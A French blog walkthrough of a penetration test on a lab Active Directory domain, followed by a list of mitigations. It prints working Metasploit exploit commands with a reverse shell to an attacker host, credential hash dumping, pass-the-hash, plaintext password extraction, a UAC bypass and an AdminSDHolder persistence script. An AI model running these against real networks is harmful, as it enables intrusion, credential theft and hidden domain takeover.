Test d’intrusion active directory
Nous allons décrire dans cet article les différentes étapes d’un test d’intrusion sur un domaine ADDS de test. Le pentest ne couvre que la partie systèmes et ne tient pas compte des protections antivirus, firewall, IDS, IPS. Nous ne couvrons que les phases de scan, d’exploitation et de maintien d’accès. Nous allons réaliser le test avec BackTrack 5 R3 à télécharger ici: Les outils dont nous allons nous servir sont Nmap, Nessus, Metasploit (le framework du hacker, les exploits sont écrits en ruby), John the Ripper et Powershell. L’objectif est de récupérer les credentials administrateur du domaine et de maintenir l’accès.
1) SCAN:
Le but de cette étape est de réaliser une cartographie des machines de notre environnement de test et repérer les vulnérabilités de celui-ci, toutes les machines sont dans le même subnet. Nous lançons la commande Nmap suivante afin de scanner les IPs de 192.168.206.132 à 255:
nmap -sS -p- -PN -O 192.168.206.132-255 |
Nous avons pour une première machine les résultats suivants:
Nmap scan report for ldap389-dc1.ldap389.local (192.168.206.134)
Host is up (0.0023s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
670/tcp open vacdsm-sws
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
[…]
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
Il s’agit clairement du DC vu les ports en écoute, l’OS ne peut pas être encore déterminé sous Nmap 6.01: Il s’agit au fait de Windows 2012.
Nous avons aussi un serveur sous Windows 2008 SP1:
Nmap scan report for ldap389-srv2008.ldap389.local (192.168.206.138)
Host is up (0.00074s latency).
Not shown: 65524 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Device type: general purpose
Running: Microsoft Windows 7|2008
OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008::sp1
OS details: Microsoft Windows 7 or Windows Server 2008 SP1
Sur ce serveur les ports SMB 445 et RDP 3389 sont en écoute, ce qui est une information utile pour la phase d’exploitation.
Finalement nous avons un serveur sous Windows 2003 SP0 qui n’est plus supporté depuis le 10 avril 2007…
Nmap scan report for ldap389-srv2003.ldap389.local (192.168.206.136)
Host is up (0.00100s latency).
Not shown: 65527 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
3306/tcp open mysql
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
En plus de ne pas être patché ce serveur Web avec une base MySQL a d’installé DVWA, bref c’est une vraie passoire pour vous entrainer au test d’intrusion 🙂
Nous lançons donc Nessus en mode safe scan contre le serveur ldap389-srv2003 (192.168.206.136):
Nous allons exploiter la vulnérabilité MS08-67 afin de prendre contrôle de la machine:
Cette vulnérabilité aurait aussi pu être découverte avec Nmap grâce à la commande:
nmap --script smb-check-vulns.nse -p445 192.168.206.136 |
Dont voici le résultat:
Starting Nmap 6.01 ( http://nmap.org ) at 2012-11-02 14:46 EDT
Nmap scan report for ldap389-srv2003.ldap389.local (192.168.206.136)
Host is up (0.00083s latency).
PORT STATE SERVICE
445/tcp open microsoft-dsHost script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: CHECK DISABLED (add ‘–script-args=unsafe=1’ to run)
| SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add ‘–script-args=unsafe=1’ to run)
| MS06-025: CHECK DISABLED (remove ‘safe=1’ argument to run)
|_ MS07-029: CHECK DISABLED (remove ‘safe=1’ argument to run)Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds
Note pour ces deux logiciels: Si vous ne lancez pas de safe scan lors cette phase vous risquez de faire planter l’OS.
Nous pouvons donc passer à la phase d’exploitation. Maintenant que nous savons ce qu’il y a à attaquer sur le domaine, voici un schéma du scénario du test d’intrusion:
Le mot de passe du compte administrateur local des serveurs 2003 et 2008 sont les mêmes, la technique du pass the hash sera utilisée pour prendre contrôle du serveur ldap389-srv2008.
2) EXPLOITATION:
Nous allons donc exploiter la faille MS08-67 avec Metasploit pour prendre le contrôle de ldap389-srv2003. Pour voir le code Ruby de l’exploit et les commentaires:
cd /pentest/exploits/framework/modules/exploits/windows/smb gedit ms08_067_netapi.rb |
Pour paramétrer les options de lancement de l’exploit sous la Msfconsole:
use windows/smb/ms08_067_netapi set RHOST 192.168.206.136 set LHOST 192.168.206.135 set PAYLOAD windows/meterpreter/reverse_tcp show options |
Lancer l’exploit avec la commande exploit:
Nous avons chargé le payload Meterpreter afin d’avoir les outils pour commencer l’exploitation sur ce serveur.
La commande getuid nous indique que nous avons les droits SYSTEM sur la machine, nous lançons ensuite hashdump afin de récupérer le hash du mot de passe de l’administrateur local, ces hash sont situés dans la SAM locale du serveur:
meterpreter> getuid Server username: NT AUTHORITY\SYSTEM meterpreter> hashdump Administrator:500:'aad3b435b51404eeaad3b435b51404ee:b90930db6268c82853cbfdc1f7f1537d'::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089d0::: SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:68813b44fbd2ae8606c79c1afb24d5e6::: |
Nous avons maintenant le hash du mot de passe administrateur local de ldap389-srv2003, nous allons donc tenter d’attaquer le serveur ldap389-srv2008 qui a le même mot de passe administrateur local avec l’exploit du pass the hash.
Avant cela nous essayons de récupérer sur ldap389-srv2003 quelques hash de mots de passe d’utilisateurs du domaine ldap389.local via les cached logons qui tenteront d’être crackés hors-ligne plus tard, ceci grâce à la commande cachedump. Ces hash sont situés dans un endroit protégé du registre sous HKLM\Security\Cache\NL$x, x est un numéro qui correspond à chaque hash mis en cache.
meterpreter> run post/windows/gather/cachedump |
[*] Executing module against LDAP389-SRV2003
[*] Cached Credentials Setting: 10 – (Max is 50 and 0 disables, and 10 is default)
[*] Obtaining boot key…
[*] Obtaining Lsa key…
[*] XP compatible client
[*] Obtaining LK$KM…
[*] Dumping cached credentials…
[*] John the Ripper format:
srvadm:9ea326b1b8161510713bb3ff48d3ff44::
user0002:fd44c840886e0a17fa1810a69407f6f9::
[*] Hash are in MSCACHE format. (mscash)
Prenons maintenant contrôle de la machine ldap389-srv2008 avec pass the hash, grâce au hash de l’administrateur local récupéré via hashdump. Nous avons vu dans la partie 1)scan que le port SMB 445 est en écoute afin d’utiliser l’exploit du pass the hash:
Use /windows/smb/psexec set RHOST 192.168.206.138 set LHOST 192.168.206.135 set SMBUser Administrator set SMBDomain LDAP389-SRV2008 'set SMBPass aad3b435b51404eeaad3b435b51404ee:b90930db6268c82853cbfdc1f7f1537d' exploit |
Un fois l’accès obtenu sur ldap389-srv2008 nous lançons encore cachedump:
[*] Executing module against LDAP389-2008
[-] Cache setting not found…
[*] Obtaining boot key…
[*] Obtaining Lsa key…
[*] Trying ‘Vista’ style…
[*] Vista compatible client
[*] Obtaining LK$KM…
[*] Dumping cached credentials…
[*] John the Ripper format:
srvadm:9ea326b1b8161510713bb3ff48d3ff44::
domainadm:08f5fb57d58e5cb717bdccf1ae06fb21::
user0001:6d9bd71cfe5023ae976f5622bb299c83::
[*] Hash are in MSCACHE_VISTA format. (mscash2)
Nous récupérons les hash obtenus sur les deux machines ldap389-srv2003 et ldap-srv2008 et allons tenter de les cracker hors-ligne grâce à John the ripper.
Ces hash sont calculés avec les algorithmes suivants:
- Windows 2003, format mscash : MD4(MD4(password) + username)
- Windows 2008, format mscash2 : PKCS#5(MD4(MD4(password) + username))
Seuls les mots de passe non complexes des cached logons peuvent être cassés dans un temps raisonnable, pour plus d’infos sur le sujet lire cet article:
cd /pentest/passwords/john './john --format=mscash hash-ldap389-srv2003.txt' Loaded 2 password hashes with 2 different salts (M$ Cache Hash MD4 [32/32]) Remaining 1 password hashes with 1 different salts 'user0002 (password)' Session aborted './john --format=mscash2 hash-ldap389-srv2008.txt' Loaded 3 password hashes with 3 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 4x]) ' user0001 (user0001)' guesses: 1 time: 0:00:00:18 3.04% (2) (ETA: Sun Oct 28 18:06:57 2012) c/s: 704 trying: knight - sierra Session aborted |
Les credentials user0002/password et user0001/user0001 sont crackés facilement mais ce sont que des utilisateurs du domaine 🙁 A vérifier avec la commande:
net user /DOMAIN %USERNAME%
Dans le chapitre 1)scan nous avons vu que le serveur ldap389-srv2008 avait sûrement un accès RDS car le port 3389 est en écoute. Donc d’autres utilisateurs sont probablement connectés au serveur en ce moment: Voyons les process qui tournent grâce à la commande PS:
meterpreter > ps 3028 884 dwm.exe x86_64 2 LDAP389\domainadm C:\Windows\System32\dwm.exe meterpreter > shell Process 1112 created. Channel 1 created. Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>net user /DOMAIN domainadm The request will be processed at a domain controller for domain ldap389.local. User name domainadm Full Name domainadm Comment Users comment Country code 000 (System Default) Account active Yes Account expires Never Password last set 10/25/2012 8:17:21 PM Password expires 12/6/2012 8:17:21 PM Password changeable 10/26/2012 8:17:21 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 10/28/2012 3:20:31 PM Logon hours allowed All Local Group Memberships 'Global Group memberships *Domain Admins *Domain Users' The command completed successfully. C:\Windows\system32>cd /d c:\ cd /d c:\ c:\>mkdir c:\tools mkdir c:\tools c:\> exit meterpreter>migrate 3028 [*] Migrating to 3028... [*] Migration completed successfully. |
Nous avons vu que le process dwm.exe (id 3028) tournait sous le compte “LDAP389\domainadm”, un lancement du shell DOS nous permet de voir que ce compte est administrateur du domaine 🙂 nous pouvons ensuite migrer le payload vers le process 3028 et voilà, vous avez un shell tournant avec les droits administrateur domaine… Nous en avons profité pour créer un répertoire c:\tools sur le serveur, nous allons uploader dans ce répertoire Windows Credential Editor, cet outil permet de lire les mots de passe stockés en mémoire par le process lsass.exe. Nous pouvons obtenir les mots de passe en clair des comptes qui ont une session TS d’ouverte sur le serveur ou qui sont configurés pour faire tourner un service.
meterpreter>upload wce.exe c:\\tools meterpreter > shell Process 1112 created. Channel 1 created. Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>cd /d c:\tools C:\tools>wce -w wce -w WCE v1.3beta (X64) (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com) Use -h for help. 'domainadm\LDAP389:St@giaire-P@pam@man12' LDAP389-2008$\LDAP389:0(v5K,[L0!m$42m9/e#=&fh-NPROjoUN1Wp#s0uI D2*49WbyLS..>cB7jbQg5y`s/-l*TR,^Ym)9*dw]yV2T9`YGPxR MEYvU'qknb]?f.a9GKWzCfF" |
A ce point-là du test on peut considérer que la phase d’exploitation est terminée! D’autres outils du même type existent ils sont présentés dans cet article.
Un dernier endroit ont l’on peut récupérer des mots de passe en clair est l’endroit où sont stockés les LSA Secrets. Ils sont aussi dans le registre comme les cached logons. Sous HKLM\SECURITY\Policy\Secrets\, pour un service c’est une clef du type _SC_Nomservice si celui-ci tourne avec un compte du domaine. Pour plus d’informations c’est ici, vous pouvez aussi les décrypter en PowerShell grâce à ce script.
Nous allons maintenant voir quelles atténuations mettre en place pour contrer ce type d’attaque:
- Patchez vos systèmes! Pour cela vous aurez besoin de mettre au point un système de validation, pour utiliser WSUS et les GPOs c’est ici.
- N’utilisez pas le même mot de passe administrateur local pour tous vos serveurs (cf attaque pass the hash). Ou bien utiliser le paramètre de GPO Deny access to this computer from the network pour les comptes admin locaux.
- Adopter une stratégie de mot de passe adaptée: Expiration du mot de passe et celui ci doit être complexe (temps de crack hors ligne considérablement allongé).
- Avoir un LMCompatibilityLevel sur le domaine le plus élevé possible.
- Avoir un nombre de cached logons de 0 sur vos serveurs et ordinateurs fixes et de 1 sur les portables. Cependant attention pour les serveurs en cluster.
- Limiter le droit “debug programs“ à un groupe d’utilisateurs AD défini, par défaut tout administrateur local possède ce droit. Attention le service cluster à besoin de ce droit pour fonctionner.
- Utiliser des MSA sous Windows 7/2008 ou gMSA sous Windows 8/2012 pour faire tourner des services, ceci plutôt que des comptes du domaine dont le mot de passe est rarement mis à jour. Par ailleurs un MSA ne peut réaliser de logon interactif.
- Dé loguer automatiquement les sessions TS déconnectées via GPO: En effet cela évite de laisser trainer des sessions TS ouvertes un peu partout, donc vôtre mot de passe en clair dans la mémoire du serveur
- Un employé qui est administrateur du domaine doit posséder trois comptes: un compte de bureautique pour accéder à ses mails et rédiger des documents, un compte d’administration pour les serveurs qui n’est pas administrateur du domaine (pour cela utiliser des stratégies de groupes restreints) et un compte administrateur du domaine qui s’authentifie uniquement sur les DCs et une console d’administration AD. Les machines sur lesquelles s’authentifient des administrateurs du domaine doivent être limitées et leur journal de sécurité régulièrement analysé
- Toujours essayer d’appliquer le principe de moindre privilège lors de la création d’un compte AD
Pour avoir plus de détails sur une partie des mesures d’atténuation listés je vous conseille la lecture de ce document rédigé par le SANS.
Maintenant que nous sommes administrateur du domaine, nous allons voir comment maintenir l’accès de manière discrète sur ce domaine.
3) MAINTENIR L’ACCÈS:
Pour pouvoir manipuler facilement les objets AD il serait bien de disposer de la fonctionnalité RSAT-AD-PowerShell sur le serveur ldap389-srv2008. Pour cela nous allons uploader le script Install-ADDS-PSH.ps1 dans notre répertoire c:\tools et lancer le script à partir du shell du meterpreter:
c:\tools>powershell.exe -f install-ADDS-Psh.ps1
powershell.exe -f install-ADDS-Psh.ps1
Add-WindowsFeature : Because of security restrictions imposed by User Account Control, you must run Add-WindowsFeature in a Windows PowerShell session opened
with elevated rights. To do this, right-click the Windows PowerShell or Command
Prompt Start menu object that you are using to start your Windows PowerShell s
essions, and then click Run as administrator.
At C:\tools\install-ADDS-Psh.ps1:2 char:19
+ add-windowsfeature <<<< RSAT-AD-PowerShell + CategoryInfo : PermissionDenied: (:) [Add-WindowsFeature], Exce ption + FullyQualifiedErrorId : NotAdministrator,Microsoft.Windows.ServerManager .Commands.AddWindowsFeatureCommand
Le script est le suivant:
import-module servermanager add-windowsfeature RSAT-AD-PowerShell |
L’UAC nous empêche de lancer cette tâche, et nous désirons rester sous le meterpreter de manière à rester discret.
La solution est donc de créer une tâche planifiée InstallPSH grâce au shell meterpreter tournant sous SYSTEM, la lancer et la supprimer: Cette solution permet de bypasser l’UAC.
meterpreter > shell Process 1980 created. Channel 1 created. Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system C:\Windows\system32>schtasks.exe /create /TN InstallPSH /XML c:\tools\PSH.xml C:\Windows\system32>schtasks.exe /run /I /TN InstallPSH C:\Windows\system32>schtasks.exe /delete /TN InstallPSH /F |
Les paramètres de la tache planifiée sont importés à partir des informations du fichier c:\tools\PSH.xml qui a été uploadé sur le serveur, la section RunLevel permet de bypasser l’UAC:
<?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>2012-10-28T16:53:11.6978602</Date> <Author>TOTO</Author> </RegistrationInfo> <Triggers> <TimeTrigger> <StartBoundary>2010-10-28T16:50:57.9114026</StartBoundary> <Enabled>true</Enabled> </TimeTrigger> </Triggers> <Principals> <Principal id="Author"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <StartWhenAvailable>false</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>true</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>P3D</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context="Author"> <Exec> <Command>powershell.exe</Command> <Arguments>-f c:\tools\install-ADDS-Psh.ps1</Arguments> </Exec> </Actions> </Task> |
Maintenant nous pouvons migrer de nouveau avec meterpreter vers un process lancé par l’administrateur du domaine ldap389\domainadm et lancer des scripts Powershell avec les cmdlets ADDS 🙂
Une solution assez simple pour maintenir l’accès serait de créer un nouveau compte membre d’administrateurs du domaine avec un mot de passe qui n’expire jamais. Mais cela est assez visible car ce groupe est généralement surveillé.
Nous allons modifier les ACLs de l’objet AdminSDHolder et donner les droits d’écriture au compte user0001/user0001 obtenu lors de la phase 2)exploitation. Ce compte sera modifié pour que le mot de passe n’expire jamais, en général un utilisateur va rarement venir se plaindre de ce genre de problèmes 🙂
Pourquoi donc modifier cet objet particulier de l’AD ? Tout simplement car il définit les ACLs présentes sur les comptes et groupes ayant de hauts privilèges sur le domaine, plus précisément les objets dont l’attribut adminCount est à 1. Le groupe “administrateurs du domaine” et le compte ldap389\domainadm en font partie:
Afin définir positionner ces droits et définir le mot de passe n’expire jamais pour le compte test0001 nous uploadons et lançons le script hack-ADDS-psh.ps1, inspiré de cet article:
import-module Activedirectory get-aduser user0001 | set-aduser -PasswordNeverExpires $true $obj = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=ldap389,DC=local" $sid = (get-aduser user0001).sid $aceOne = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($sid, 'CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner', 'Allow', (New-Object GUID), 'None') $obj.psbase.ObjectSecurity.AddAccessRule($aceOne) $obj.psbase.CommitChanges() $acl = $obj.psbase.ObjectSecurity $acl.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | where{$_.IdentityReference -eq $sid} |
Ne reste plus qu’à lancer le script sous le shell meterpreter avec un process tournant sous le compte ldap389\domainadm:
Voilà vous avez les droits de manipuler tous les objets qui sont administrateur du domaine sans l’être vous-même.
Pensez donc à surveiller aussi les ACLs sur vos objets AD sensibles. En plus de la surveillance classique d’appartenance de groupes sensibles…
Bibliographie:
Syngress: The basics of hacking and penetration testing.
MS Press: Windows Server 2008 Security Resource Kit.
SANS: SEC560: Scanning, Exploitation, Password Attacks.
InformIT: Protect Your Windows Network: from Perimeter to Data.
Merci à Regre$$ion $oftware pour les discussions et la connaissance partagée lors de moult café-clope. Fumer nuit gravement à votre santé, mais pas à votre knowledge. Putain! On a arrêté de fumer 😉
MAJ du 07/02/2013: utiliser le paramètre de GPO Deny access to this computer from the network pour les comptes admin locaux afin d’empêcher les techniques “Pass the hash” pour ce type de compte. Merci pour l’info 😉
This post is also available in: Anglais
6 Comments
Other Links to this Post
RSS feed for comments on this post. TrackBack URI
By NiTRo, November 16, 2012 @ 10:51 pm
Super HowTo, merci !
Et joli password admin 🙂
By ldap389, November 17, 2012 @ 3:47 pm
Merci, pour le password ca devait être celui du compte administrator de NTPROD de l’époque.
By ctxblog, November 17, 2012 @ 9:58 pm
Bien joué, super billet 😉
By MrPochpoch, November 22, 2012 @ 4:06 pm
Super HowTo … ça fait réfléchir !
Chez de nombreux client, des comptes admins du domaine sont utilisés pour faire tout et n’importe quoi !!
Du coup, Tu vas bientôt pouvoir aller bosser à la sécurité ! 😉
By ldap389, November 22, 2012 @ 9:02 pm
Merci, mais tu le sais déjà… Ce n’est pas vraiment la prochaine étape… Et puis bosser dans la sécu en tant que techos qui tient la route ca veut dire devenir “no life”… La rédaction de ce post a entrainé un nombre de “Chéri? Tu viens dormir? – Oui bb, dans 10mn…” largement supérieur à la normale, enfin tu sais de quoi je parle 😉